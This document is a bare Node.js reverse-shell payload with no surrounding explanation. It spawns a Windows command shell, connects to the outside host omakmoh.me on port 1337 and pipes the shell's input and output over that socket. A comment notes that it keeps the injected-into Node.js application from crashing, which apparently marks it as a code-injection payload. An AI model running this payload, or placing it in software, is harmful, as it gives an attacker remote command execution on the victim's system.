(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("cmd", []); var client = new net.Socket(); client.connect(1337, "omakmoh.me", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application from crashing })();